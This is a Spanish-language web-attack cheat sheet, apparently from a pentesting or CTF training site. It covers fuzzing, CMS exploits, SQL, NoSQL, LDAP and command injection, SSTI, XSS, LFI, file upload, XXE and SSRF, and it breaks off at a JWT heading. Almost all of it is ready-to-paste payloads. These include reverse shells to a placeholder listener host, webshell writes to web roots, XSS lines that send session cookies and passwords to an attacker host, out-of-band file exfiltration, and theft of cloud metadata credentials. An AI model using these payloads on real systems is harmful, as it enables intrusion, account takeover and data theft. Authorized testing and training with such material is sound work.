← Cheatsheets Ataque web Descubrimiento, CMS y cada inyección por separado, porque cada una se detecta y se explota distinto: SQLi, LFI, subida a RCE, SSTI, inyección de comandos, XXE, SSRF, NoSQL, LDAP, JWT y deserialización.
Descubrimiento y CMS Descubrimiento y fuzzing 33 comandos Copiar todo
Reconocimiento inicial Tecnologías, CMS, versiones y fallos conocidos whatweb http://<ip>; nikto -h http://<ip>Primer vistazo: cabeceras, tecnología y redirecciones curl -sSi http://<ip>/ # cabeceras, servidor, cookies y redireccionesRevisar robots.txt en busca de rutas ocultas curl -s http://<ip>/robots.txtDirectorios y ficheros Descubrir rutas y ficheros ocultos dirsearch -u http://<ip>/ --exclude-status=403,404,503 -t 100Fuzzing recursivo de directorios con extensiones feroxbuster -u http://<ip> -w <wordlist> -x php,txt,bak -C 404,403Fuerza bruta de directorios y ficheros (el clásico) gobuster dir -u http://<ip> -w <wordlist> -x php,txt,html -t 50Fuzzer flexible para rutas, parámetros y cabeceras wfuzz -c -z file,<wordlist> --hc 404 http://<ip>/FUZZFuzzing recursivo siguiendo redirecciones (dos niveles) feroxbuster -u http://<ip> -w <wordlist> -x php,txt -r -d 2Descubrir endpoints de API (incluye los 401/403 informativos) ffuf -u http://<ip>/api/FUZZ -w <api_wordlist> -mc 200,401,403Fuzzear rutas y extensiones con ffuf ffuf -w <wordlist>:FUZZ -u http://<ip>/FUZZ -e .php,.txt,.htmlFuzzing recursivo por códigos de respuesta ffuf -w <wordlist>:FUZZ -u http://<ip>/ -mc 200,301,302 -recursionAutocalibrado (-ac): descartar solo las respuestas basura reales ffuf -w <wordlist>:FUZZ -u http://<ip>/FUZZ -mc all -acExtensiones y backup Descubrir ficheros y sus copias de seguridad (.bak, .old, ~) ffuf -u 'http://<ip>/FUZZ' -w <wordlist> -e .php,.bak,.old,.txt,.zip,~ -mc 200,301,403Doble FUZZ: nombre de fichero y extensión a la vez wfuzz -z list,php-asp-txt -u 'http://<ip>/FUZZ.FUZ2Z' -w <wordlist> --hc 404VHosts / subdominios Enumerar subdominios/vhosts por cabecera Host gobuster vhost -u http://<domain> -w <wordlist> --append-domainEnumeración pasiva de subdominios desde fuentes públicas subfinder -d <domain> -silentVhost fuzzing ocultando por tamaño de respuesta ffuf -u 'http://<domain>' -H 'Host: FUZZ.<domain>' -w <subdomains.txt> -fs <n>Fuzzing de vhosts filtrando por nº de caracteres de la respuesta base (--hh) wfuzz -u 'http://<domain>' -H 'Host: FUZZ.<domain>' -w <subdomains.txt> --hh <n>Fuzzing de subdominios anidados (prefijos tipo preprod-, dev-, staging-) wfuzz -u 'http://<domain>' -H 'Host: preprod-FUZZ.<domain>' -w <words.txt> --hw <n>Fuzzear vhosts filtrando por tamaño ffuf -w <wordlist>:FUZZ -u http://<ip>/ -H 'Host: FUZZ.<domain>' -fs <n>Parámetros Descubrir el parámetro vulnerable a LFI ffuf -u 'http://<ip>/?FUZZ=/etc/passwd' -w <params.txt> -fs <n>Fuzzear un rango numérico (IDOR, paginación, IDs de objeto) wfuzz -z range,1-10000 -u 'http://<ip>/?id=FUZZ' --hh <n>Descubrir parámetros GET ocultos ffuf -w <wordlist>:FUZZ -u 'http://<ip>/?FUZZ=test' -fs <n>Fuerza bruta de login Fuerza bruta de formularios web (POST) ffuf -u 'http://<ip>/login' -d 'user=<user>&pass=FUZZ' -w <rockyou.txt> -fc 401Fuerza bruta de una autenticación HTTP Basic con wfuzz wfuzz --basic 'admin:FUZZ' -w <rockyou.txt> --hc 401 http://<ip>/OSINT / metadatos Subdominios pasivos por transparencia de certificados (crt.sh) curl -s 'https://crt.sh/?q=<domain>&output=json' | jq -r '.[].name_value' | sort -uURLs históricas del dominio (parámetros y ficheros olvidados) gau <domain> 2>/dev/null | tee urls.txt # o waybackurls <domain>Generar un diccionario con las palabras del sitio cewl -d 2 -m 5 http://<ip> -w words.txtLeer los metadatos de un fichero descargado (autor, software) exiftool <file> # author, software, GPS: sometimes leaks users or pathsConstruir un diccionario a partir de las palabras de la página (alternativa a cewl) curl -s http://<ip>/ | tr -d '<>"/' | tr ' ' '\n' | sort -u > web.txtIIS / short-name IIS: enumerar nombres cortos 8.3 (tilde) con IIS-ShortName-Scanner java -jar iis_shortname_scanner.jar 0 5 http://<ip>/IIS: generar diccionario del prefijo 8.3 para recuperar el nombre completo egrep -r ^<prefix> /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt # then gobuster -x .aspx,.aspExploits Buscar el exploit por producto/versión y traerlo al directorio actual searchsploit <product> <version>; searchsploit -m <path> # copies the exploit to your cwdCMS (WordPress, Drupal, Joomla) 15 comandos Copiar todo
WordPress WordPress: plugins, temas y usuarios vulnerables wpscan --url http://<domain>/ --enumerate p,t,u --api-token <token>WordPress: fuerza bruta de contraseñas wpscan --url http://<domain>/ --usernames <user> -P <rockyou.txt>Leer las credenciales de BD de wp-config.php grep -i pass /var/www/html/wordpress/wp-config.phpRCE por plugin de WordPress vulnerable curl 'http://<ip>/wp-content/uploads/simple-file-list/<n>.php?cmd=id'LFI por plugin (lectura arbitraria) curl 'http://<domain>/wp-content/plugins/<plugin>/filedownload.php?ebookdownloadurl=/etc/passwd'WordPress: enumerar usuarios, plugins y temas con WPScan wpscan --url http://<ip> --enumerate u,ap,at --api-token <token>WordPress: fuerza bruta del login por XML-RPC/wp-login wpscan --url http://<ip> -U <user> -P <rockyou.txt>Spray de contraseñas vía xmlrpc.php (system.multicall) curl 'http://<ip>/xmlrpc.php' -d '<methodCall> system.multicall ... </methodCall>'Drupal Drupal: versión, módulos y temas droopescan scan drupal -u http://<ip>/ --threads-scan 100Drupalgeddon2: RCE preautenticado (CVE-2018-7600) ruby drupalgeddon2.rb http://<ip>Drupal: enumerar version y modulos droopescan scan drupal -u http://<ip>Drupalgeddon2 con Metasploit (CVE-2018-7600) msfconsole -q -x 'use unix/webapp/drupal_drupalgeddon2; set RHOSTS <ip>; run' # CVE-2018-7600Joomla Joomla: escaneo de version, componentes y rutas joomscan --url http://<ip>Joomla: RCE editando la plantilla desde el panel admin Joomla admin > Templates > editar templateDetails.php: system($_GET['c']);CMS Made Simple SQLi ciega en CMS Made Simple (CVE-2019-9053) python3 46635.py -u http://<ip>/ -c -w <rockyou.txt> # CVE-2019-9053 (blind SQLi, cracks the hash)Inyecciones Inyección SQL 41 comandos Copiar todo
Detección / datos ocultos Recuperar datos ocultos forzando una condición verdadera ?category=Gifts' OR 1=1-- -Auth bypass Comentar la comprobación de la contraseña admin'-- -Condición siempre verdadera en el login ' OR '1'='1'-- -UNION: nº columnas Incrementar hasta el error para contar columnas ' ORDER BY 3-- -Rellenar con NULL hasta que no dé error ' UNION SELECT NULL,NULL,NULL-- -UNION: columna de texto Encontrar una columna que admita texto ' UNION SELECT 'a',NULL,NULL-- -UNION: otras tablas Volcar credenciales de otra tabla ' UNION SELECT username,password FROM users-- -UNION: multivalor 1 columna Concatenar varios valores en una sola columna (Oracle/PostgreSQL) ' UNION SELECT username||'~'||password,NULL FROM users-- -Igual con CONCAT (MySQL/MSSQL) ' UNION SELECT CONCAT(username,':',password),NULL FROM users-- -DBMS: MySQL/MSSQL Fingerprint de versión; comentario `-- ` o `#` ' UNION SELECT @@version,NULL-- -Fingerprint de la versión por UNION ' UNION SELECT 1,@@version,3,4-- -DBMS: PostgreSQL Versión; concatenación con `||` ' UNION SELECT version(),NULL-- -DBMS: Oracle Versión Oracle; todo SELECT necesita FROM (dual) ' UNION SELECT banner,NULL FROM v$version-- -Listar tablas en Oracle (all_tables) ' UNION SELECT table_name,NULL FROM all_tables-- -DBMS: no-Oracle Listar tablas via information_schema (MySQL/MSSQL/PostgreSQL) ' UNION SELECT table_name,NULL FROM information_schema.tables-- -Listar bases de datos por UNION ' UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata-- -DBMS: SQLite Volcar el esquema en SQLite ' UNION SELECT sql,NULL FROM sqlite_master-- -Blind: booleana Extraer carácter a carácter por respuesta condicional ' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a'-- -Blind: error condicional Provocar un error solo cuando la condición es verdadera ' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END)-- -Blind: error visible El mensaje de error filtra el dato (CAST/CONVERT) ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- -MySQL: error-based con EXTRACTVALUE ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))-- -Blind: tiempo MySQL: retardo condicional ' AND IF(1=1,SLEEP(5),0)-- -PostgreSQL: pg_sleep '; SELECT pg_sleep(5)-- -MSSQL: WAITFOR DELAY '; IF (1=1) WAITFOR DELAY '0:0:5'-- -Blind: tiempo + datos Combinar retardo y extracción carácter a carácter ' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- -OOB: interacción Oracle: forzar una petición al colaborador (detección ciega) ' UNION SELECT UTL_HTTP.REQUEST('http://<lhost>/'),NULL FROM dual-- -OOB: exfiltración Oracle: exfiltrar el dato en el subdominio de la consulta DNS ' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % x SYSTEM "http://'||(SELECT password FROM users WHERE rownum=1)||'.<lhost>/"> %x;]>'),'/l') FROM dual-- -Bypass: XML-encoding Codificar palabras clave con entidades HTML para saltar el WAF <stockCheck><productId>1 UNION SELECT NULL</productId></stockCheck> (con S en SELECT)Bypass: WAF Comentarios inline y de versión MySQL '/**/UNION/**/SELECT/**/NULL-- - | /*!50000UNION*/RCE / ficheros MySQL: leer un fichero del servidor ' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -MySQL: escribir una webshell (INTO OUTFILE) ' UNION SELECT '<?php system($_GET[0]);?>',NULL INTO OUTFILE '/var/www/html/s.php'-- -MSSQL: ejecución de comandos '; EXEC xp_cmdshell 'whoami'-- -Leer un fichero local por UNION ' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -Escribir una webshell por UNION ' UNION SELECT '',"<?php system($_REQUEST[0]);?>",'','' INTO OUTFILE '/var/www/html/sh.php'-- -SQL truncation Truncado: espacios que hacen que la BD guarde 'admin' admin '-- -Privilegios de BD Comprobar si el usuario es administrador ' UNION SELECT 1,super_priv,3,4 FROM mysql.user WHERE user='root'-- -sqlmap Enumerar bases de datos sin interacción sqlmap -u '<url>' --batch --dbsVolcar una tabla desde una petición guardada sqlmap -r <req.txt> --batch --dump -T users -D <db>Intentar una shell del sistema operativo sqlmap -u '<url>' --os-shellLeer un fichero local con sqlmap sqlmap -u '<url>' --file-read '/etc/passwd'Evadir filtros con tamper y subir nivel sqlmap -u '<url>' --tamper=space2comment --level=5 --risk=3Inyección NoSQL 16 comandos Copiar todo
Auth bypass ($ne/$gt) Bypass de login con el operador $ne (distinto de) username[$ne]=1&password[$ne]=1Bypass en JSON con $gt (cualquier valor) {"username": {"$gt": ""}, "password": {"$gt": ""}}Condición siempre verdadera ($where / evaluación JS) admin' || '1'=='1 admin' || 1==1//Bypass de login por operador: $ne/$gt hacen la condicion siempre verdadera username[$ne]=x&password[$ne]=x | username[$gt]=&password[$gt]=Operador / JSON Condición siempre verdadera para volcar la colección entera {"username":{"$ne":null}} # in a search engine -> dump ALL documentsOperadores $exists/$nin para forzar la logica de autenticacion username[$exists]=true&password[$exists]=falseElegir usuario objetivo con $in y saltar la clave con $ne {"username":{"$in":["admin","root"]},"password":{"$ne":1}}Muchos backends solo son inyectables si mandas JSON en vez de urlencoded Content-Type: application/json -> {"user":{"$ne":null},"pass":{"$ne":null}}Blind ($regex) Extraer la contraseña carácter a carácter con $regex username=admin&password[$regex]=^aDescubrir la longitud de la contrasena con $regex antes de extraerla username=admin&password[$regex]=^.{8}$Extraccion ciega caracter a caracter afinando el prefijo del $regex username=admin&password[$regex]=^a -> ^ab -> ^abc ...Distinguir la longitud real forzando un $regex que no casa username=admin&password[$regex]=.{20,}$where / JS Inyeccion en $where (JS del lado servidor): blind por tiempo con sleep {"username":"admin","$where":"sleep(5000)"}Inyeccion cuando la query se construye como cadena JS ($where) admin' || '1'=='1 | ';return true;var _='Extraccion via $where combinando condicion de usuario y match del prefijo {"$where":"this.user=='admin'&&this.pass.match(/^a/)"}Automatización NoSQLMap: automatiza el bypass y la extraccion sobre MongoDB nosqlmap -u 'http://<ip>/login' --data 'user=x&pass=x' --attack 2Inyección de comandos 16 comandos Copiar todo
Operadores Metacaracteres que encadenan o sustituyen comandos ; id | id || id && id `id` $(id)Separar comandos con salto de línea (URL-encoded) ping -c 1 <ip>%0aid # %0a = newlineVer las variables de entorno (buscar pistas) printenvDetección (blind) Confirmar inyección a ciegas por tiempo ; sleep 5 # the response takes 5 s if vulnerableExfiltración / callback Confirmar a ciegas por canal lateral (OOB) ; curl http://<lhost>/$(whoami) # o nslookup $(whoami).<lhost>Reverse shell Inyección de comandos → reverse shell ; bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'Reverse shell dentro de un parámetro vulnerable, URL-encodeada curl 'http://<ip>/<script>?cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<lhost>%2F<lport>%200%3E%261'Alternativa con busybox cuando el netcat del objetivo no acepta -e busybox nc <lhost> <lport> -e /bin/bash # when the target's nc has no -eBypass de filtros Sustituir espacios cuando están filtrados $(printf '\x20') / ${IFS} # evadir filtros de espaciosSustituir el espacio cuando está filtrado ${IFS}Ejecutar con comas en vez de espacios {ls,-la}Obtener '/' sin escribirlo (evadir filtro) ${PATH:0:1}Ejecutar un comando escrito al revés $(rev<<<'imaohw')Ejecutar saltando un filtro sensible a mayúsculas $(tr '[A-Z]' '[a-z]'<<<'WhOaMi')PowerShell: ejecutar un comando invertido iex "$('imaohw'[-1..-20] -join '')"PowerShell: ejecutar un comando en base64 iex "$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('<b64>')))"SSTI (plantillas) 18 comandos Copiar todo
Detección Sonda por motor: cada sintaxis delata la familia {{7*7}} ->49 | ${7*7} | #{7*7} | <%= 7*7 %> | ${{7*7}} | @(7*7)Polyglot de deteccion: un error o render roto confirma SSTI en varios motores ${{<%[%'"}}%\ # polyglot: a broken render or error confirms SSTI across enginesJinja2 (Python) Enumerar el contexto y llegar a los globals {{ config.items() }} {{ self.__init__.__globals__ }}RCE moderno via el objeto cycler {{ cycler.__init__.__globals__.os.popen('id').read() }}Lectura de ficheros por los builtins {{ get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read() }}Enumerar subclases para localizar Popen u os en la lista {{ ''.__class__.__mro__[1].__subclasses__() }} # find the Popen/os index in the listBypass de WAF: attr() con hex para esquivar filtros de '__class__' {{()|attr('\x5f\x5fclass\x5f\x5f')}} # hex attr() to dodge '__class__' filtersTwig (PHP) RCE aplicando system() como filtro {{['id']|filter('system')}} | {{['id']|map('system')|join}}Twig: registrar system como filtro no definido y ejecutarlo {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}Freemarker/Velocity (Java) Freemarker: instanciar Execute <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}Velocity: alcanzar Runtime por reflexión #set($x=$class.inspect('java.lang.Runtime').type.getRuntime().exec('id'))Smarty (PHP) Smarty: system directa o bloque {php} {system('id')} | {php}system('id');{/php}Smarty: detectar version y escribir una webshell en el docroot {$smarty.version} | {Smarty_Internal_Write_File::writeFile('/var/www/html/s.php','<?php system($_GET[0]);?>',$smarty)}ERB/Mako RCE en Ruby ERB y Python Mako <%= system('id') %> (ERB) | ${__import__('os').popen('id').read()} (Mako)ERB (Ruby): RCE con backticks o IO.popen <%= `id` %> | <%= IO.popen('id').read %> # Ruby ERBAutomatización Detectar y explotar SSTI automáticamente tplmap -u 'http://<ip>/page?name=x' --os-shellThymeleaf (Java) Thymeleaf/Spring EL: alcanzar Runtime por expresion T(...) ${T(java.lang.Runtime).getRuntime().exec('id')} | *{T(...)} | __${...}__::.xNode (Pug/Jade) Pug/Jade (Node): RCE via require('child_process') #{root.process.mainModule.require('child_process').execSync('id')} # Pug/Jade (Node)Inyección LDAP 15 comandos Copiar todo
Auth bypass Bypass de login con el comodín * en ambos campos user=*&pass=* → (&(uid=*)(userPassword=*))Cerrar y reabrir paréntesis del filtro *)(uid=*))(|(uid=*Apuntar a un usuario concreto cuando solo controlas un campo admin)(|(password=*Cerrar el filtro y truncar el resto con OR/negacion para el bypass admin))(|(cn=* | admin)(!(&(1=0)Enumerar por respuesta Enumerar usuarios válidos por diferencias de respuesta *)(uid=admin) # variants to enumerate by responseInyeccion de filtro: cerrar el filtro y anadir una condicion que casa con todo *)(uid=*))(|(uid=* | *)(|(objectClass=*)Enumerar objetos y truncar el resto del filtro con NUL (%00) *)(objectClass=*) | *))%00Manipular la logica AND/OR del filtro para saltarse la autenticacion (&(uid=admin)(userPassword=*)) | (|(uid=*)(uid=admin))Inyeccion OR: ampliar el filtro para que devuelva la cuenta objetivo (|(uid=*)(uid=admin))Enumerar por atributo (mail, objectClass) segun que respuesta cambie *)(mail=*) | *)(objectClass=userBlind (char por char) Extraccion ciega del atributo char a char con comodines por respuesta user=admin)(userPassword=a*) -> b* -> ...Comodin en la clave + NUL para ignorar la condicion sobrante pass=*)(cn=*))%00Blind: iterar el prefijo del hash/clave por respuesta valida user=admin)(userPassword=<n>*) (0-9,a-f)Consultas legítimas Ya dentro: volcar el directorio con el bind filtrado ldapsearch -x -H ldap://<ip> -D 'cn=admin,dc=<dc>,dc=<dc>' -w '<pass>' -b 'dc=<dc>,dc=<dc>'Enumeracion anonima del arbol completo si el bind anonimo esta permitido ldapsearch -x -H ldap://<ip> -b 'dc=<domain>,dc=<domain>' '(objectClass=*)'XSS (Cross-Site Scripting) 29 comandos Copiar todo
Detección Sonda básica en contexto HTML <script>alert(document.domain)</script>Romper un atributo y confirmar la inyección "><svg onload=alert(1)>Contexto: HTML HTML sin codificar (reflected o stored) <script>alert(1)</script>Cuando <script> está filtrado pero pasan las etiquetas <img src=x onerror=alert(document.cookie)>Contexto: atributo Cerrar el atributo y salir a contexto HTML "><script>alert(1)</script>Con `>` codificado: quedarse en el atributo con un handler " onmouseover="alert(1)Dispara sin interacción del usuario " autofocus onfocus="alert(1)Contexto: JS string Romper una cadena JavaScript con la comilla '-alert(1)-'Variante con angle brackets HTML-encoded '+alert(1)+'Comilla simple escapada: escapar la barra invertida \'-alert(1)//Comilla y backslash escapados: cerrar el <script> </script><script>alert(1)</script>Contexto: template literal Literal de plantilla (backticks) con todo lo demás escapado ${alert(1)}Contexto: AngularJS Expresión AngularJS con <> y comillas codificadas {{$eval.constructor('alert(1)')()}}AngularJS >=1.6 (sin sandbox) {{constructor.constructor('alert(1)')()}}Sink DOM Sink document.write via location.search/hash #"><img src=x onerror=alert(1)>Sink innerHTML <img src=0 onerror=alert(1)>Sink jQuery en atributo href (anchor) javascript:alert(1)Sink jQuery selector via evento hashchange <iframe src="https://<domain>/#" onload="this.src+='<img src=0 onerror=print()>'"></iframe>Bypass de filtros Todas las etiquetas bloqueadas salvo las custom <xss id=x onfocus=alert(document.cookie) tabindex=1>#xSolo se permite algo de SVG <svg><animateTransform onbegin=alert(1)>Casi todas las etiquetas y atributos bloqueados <iframe src="https://<domain>/?search=<body onresize=print()>" onload=this.style.width='100px'>Reflected en la etiqueta canonical link ?'accesskey='x' onclick='alert(1)Explotación Robo de cookie a un colaborador (btoa) <script>new Image().src='http://<lhost>/?c='+btoa(document.cookie)</script>Captura de contraseñas autorrellenadas por el gestor <input name=username><input type=password name=password onchange="fetch('http://<lhost>/?p='+this.value)">XSS ciego/OOB: exfiltra al colaborador <img src=1 onerror="fetch('http://<lhost>/?x='+document.cookie)">Robar el token CSRF y publicar la cookie en un comentario <script>fetch('/post/comment',{method:'POST',mode:'no-cors',body:new URLSearchParams({csrf:document.getElementsByName('csrf')[0].value,comment:document.cookie,postId:'1'})})</script>Robo de cookie Exfiltrar la cookie de sesión a nuestro host <script>new Image().src='http://<lhost>/c='+document.cookie</script>Robo de cookie por redirección <script>document.location='http://<lhost>/?c='+btoa(document.cookie)</script>Herramientas Analizar un parámetro con XSStrike python3 xsstrike.py -u 'http://<ip>/?q=test'Ficheros y lado servidor LFI / traversal / RFI 20 comandos Copiar todo
Traversal / bypass Path traversal; `....//` cuando se filtra `../` ?file=../../../../etc/passwd | ....//....//etc/passwdNull byte `%00` y doble URL-encode del separador ?file=../../../../etc/passwd%00 | ..%252f..%252f (doble encode)Fuzzear payloads de LFI sobre un parámetro ffuf -w <wordlist>:FUZZ -u 'http://<ip>/index.php?page=FUZZ'Wrappers PHP Leer el código fuente PHP en base64 ?file=php://filter/convert.base64-encode/resource=index.phpdata:// para inyectar una webshell (RCE) ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzBdKTs/Pg==&0=idexpect/zip/phar para ejecutar código ?file=expect://id | ?file=zip://shell.jpg%23shell.php | phar://Cadena de filtros PHP: de LFI a RCE sin escribir ningun fichero python3 php_filter_chain_generator.py --chain '<?php system($_GET[0]);?>' # paste the chain into ?file=LFI a RCE RCE por envenenamiento de la sesión PHP /index.php?page=/var/lib/php/sessions/sess_<id>&cmd=idEnvenenar /proc/self/environ con el User-Agent y ejecutar curl -A '<?php system($_GET[0]);?>' http://<ip>/ ; ?file=/proc/self/environ&0=idLFI a RCE por descriptores abiertos en /proc/self/fd ?file=/proc/self/fd/<n>&0=id # after opening/uploading a file, try descriptors 0-20LFI2RCE con phpinfo() y condicion de carrera sobre el fichero temporal # upload any file + LFI over phpinfo() and run the race-condition exploit (tmp_name)Log poisoning Envenenar el log y luego incluirlo (RCE) User-Agent: <?php system($_GET[0]);?> -> ?file=/var/log/apache2/access.log&0=idauth.log via un intento SSH con payload en el usuario ?file=/var/log/auth.log (tras un ssh 'user=<?php...' fallido)Envenenamiento del log de nginx (ademas del de apache) ?file=/var/log/nginx/access.log | /var/log/nginx/error.log (User-Agent envenenado)Ficheros jugosos Ficheros de configuración e inventario del sistema /etc/passwd /etc/hosts /etc/crontab /etc/apache2/sites-enabled/000-default.confClaves SSH e historial: acceso directo /home/<user>/.ssh/id_rsa /home/<user>/.bash_history/proc para variables de entorno y conexiones /proc/self/environ /proc/self/cmdline /proc/net/tcpLFI en Windows/IIS: ficheros tipicos para confirmar y saquear C:\Windows\win.ini C:\Windows\System32\drivers\etc\hosts C:\inetpub\wwwroot\web.configLFI en IIS: applicationHost.config (credenciales de los pools) C:\Windows\System32\inetsrv\config\applicationHost.config # config y credenciales de IISRFI Remote File Inclusion: incluir un payload remoto ?file=http://<lhost>/shell.txt (allow_url_include=On)Subida de ficheros a RCE 20 comandos Copiar todo
Magic bytes / doble extensión Añadir magic bytes de PNG a una webshell PHP (echo -ne '\x89PNG\r\n\x1a\n'; echo '<?php system($_GET["cmd"]); ?>') > pwned.php.pngSubir la webshell forzando el Content-Type de imagen curl -F 'file=@pwned.php.png;type=image/png' -F 'pupload=upload' http://<ip>/upload.phpPrefijo GIF89a para colar la webshell por la validación de contenido (echo 'GIF89a;'; echo '<?php system($_GET[0]); ?>') > shell.php.gifCabecera JPEG (FFD8) + PHP para colar la subida (printf '\xff\xd8\xff\xee'; echo '<?php system($_GET[0]);?>') > shell.php.jpgExtensiones alternativas Saltar filtros de extensión con variantes de PHP shell.phar / shell.phtml / shell.pHp # extensiones alternativasIIS: subir un web.config malicioso para RCE curl -F 'file=@shell.config;type=image/png' http://<ip>/transfer.aspxVariantes de extension ejecutables en IIS/ASP shell.asp shell.aspx shell.asa shell.cer shell.cdx # variantes IIS/ASPVariantes de extension PHP que a veces se siguen sirviendo shell.php3 shell.php4 shell.php5 shell.php7 shell.pht shell.phtml shell.pharContent-Type / bypass Falsear el Content-Type a imagen manteniendo shell.php curl -F 'file=@shell.php;type=image/png' http://<ip>/upload.php # Content-Type falsoTrucos de nombre: null byte, punto y coma y puntos finales shell.php%00.png shell.php;.png shell.php..... # null byte / truncado / puntos finalesSaltar validaciones de cliente editando el nombre en la peticion # en Burp: cambiar filename="x.png" a x.php tras pasar la validacion de cliente (JS).htaccess Apache: forzar que una extensión inocua se ejecute como PHP printf 'AddType application/x-httpd-php .evil\n' > .htaccess # subir .htaccess + shell.evilCon .htaccess: forzar que un .jpg subido se ejecute como PHP printf 'AddHandler application/x-httpd-php .jpg\n' > .htaccess # run .jpg as PHPWebDAV (PUT/MOVE) WebDAV: subir como .txt y renombrar a .aspx para saltar el filtro de extensión (IIS) curl -X PUT http://<ip>/shell.txt -d @shell.txt; curl -X MOVE -H 'Destination: http://<ip>/shell.aspx' http://<ip>/shell.txtSondear qué extensiones acepta WebDAV y operar a mano davtest -url http://<ip>/; cadaver http://<ip>/ # PUT/MOVE/DELETE manualesDetectar WebDAV y los verbos permitidos con nmap nmap -p80,443 --script http-webdav-scan <ip>Payload Ejecutar comandos por la webshell subida curl 'http://<ip>/uploads/pwned.php?cmd=id'Generar un .war/.jsp para Tomcat/servidores Java msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > shell.warReverse shell PHP con msfvenom msfvenom -p php/reverse_php LHOST=<lhost> LPORT=<lport> -f raw > shell.phpWebshell sigilosa y cifrada con weevely weevely generate <pass> shell.php; weevely http://<ip>/uploads/shell.php <pass>XXE (entidades externas XML) 13 comandos Copiar todo
Lectura de fichero Declarar una entidad externa que lee un fichero <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> ... &xxe;php://filter para exfiltrar fuente PHP en base64 <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">Entidad externa clásica para leer un fichero <!DOCTYPE r [<!ENTITY x SYSTEM 'file:///etc/passwd'>]><r>&x;</r>SSRF-via-XXE Usar la entidad para alcanzar servicios internos <!ENTITY xxe SYSTEM "http://127.0.0.1:<port>/">SSRF a la metadata cloud a través del XXE <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">OOB / blind XXE ciega con DTD externo (parametro-entidad) <!DOCTYPE r [<!ENTITY % ext SYSTEM "http://<lhost>/evil.dtd"> %ext;]>Contenido del DTD externo para la exfiltración ciega evil.dtd: <!ENTITY % f SYSTEM "file:///etc/passwd"><!ENTITY % s "<!ENTITY send SYSTEM 'http://<lhost>/?x=%f;'>">Exfiltrar un fichero por XXE ciego (OOB) ruby XXEinjector.rb --host=<lhost> --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilterRCE RCE si el módulo PHP expect está cargado <!ENTITY xxe SYSTEM "expect://id">DoS Billion laughs: expansión exponencial de entidades <!DOCTYPE lolz [<!ENTITY a "aa"><!ENTITY b "&a;&a;&a;&a;&a;"> ...]>Bypass XInclude cuando no se puede declarar un DOCTYPE <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>XXE en un SVG que el visor procesa al renderizar SVG subido con <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>Convertir un endpoint JSON a XML para colar el XXE Content-Type: application/xml + cuerpo <?xml ...>SSRF (petición del lado servidor) 16 comandos Copiar todo
Objetivo: localhost Alcanzar un panel interno accesible solo desde el propio servidor url=http://127.0.0.1/adminSondear servicios en localhost url=http://localhost/ | http://127.0.0.1:<port>/Objetivo: back-end interno Pivotar a otro sistema de la red interna url=http://192.168.0.<n>:8080/admin/delete?username=carlosObjetivo: metadata cloud AWS: robar credenciales del rol IAM (IMDSv1) url=http://169.254.169.254/latest/meta-data/iam/security-credentials/GCP: metadata (requiere la cabecera) url=http://metadata.google.internal/computeMetadata/v1/ (Metadata-Flavor: Google)Bypass: blacklist Codificaciones de 127.0.0.1: hex, octal, decimal, abreviada url=http://0x7f000001/ http://0177.0.0.1/ http://2130706433/ http://127.1/URL-encode y doble URL-encode de la IP url=http://%31%32%37%2E%30%2E%30%2E%31/ (y doble URL-encode)Representaciones IPv6 de localhost url=http://[::1]/ http://[0:0:0:0:0:ffff:127.0.0.1]/Bypass: whitelist Confusión del parser con @ (userinfo) o # (fragmento) url=http://trusted.com@169.254.169.254/ http://169.254.169.254#trusted.comDNS que resuelve a una IP interna url=http://169.254.169.254.nip.io/Bypass: open-redirect Encadenar un open redirect para saltarse el filtro stockApi=/product/nextProduct?path=http://192.168.0.<n>:8080/admin/delete?username=carlosBlind: OOB SSRF ciega: detectar via una interacción con el colaborador Referer: http://<subdomain>.oastify.com/ (o el parametro vulnerable)Blind: shellshock SSRF ciega + Shellshock contra un CGI de la red interna User-Agent: () { :; }; /bin/bash -c 'nslookup <lhost>' (SSRF a un CGI interno)Protocolos gopher para hablar en crudo con Redis/MySQL/SMTP internos url=gopher://127.0.0.1:6379/_<redis-commands>file:// para leer ficheros, dict:// para sondear url=file:///etc/passwd | dict://127.0.0.1:6379/infoDetección Ponerse en escucha para leer la request del servidor nc -nlvp 80 # see the raw request the server makesAutenticación y objetos JWT (JSON Web Tokens) 16 comandos Copiar todo
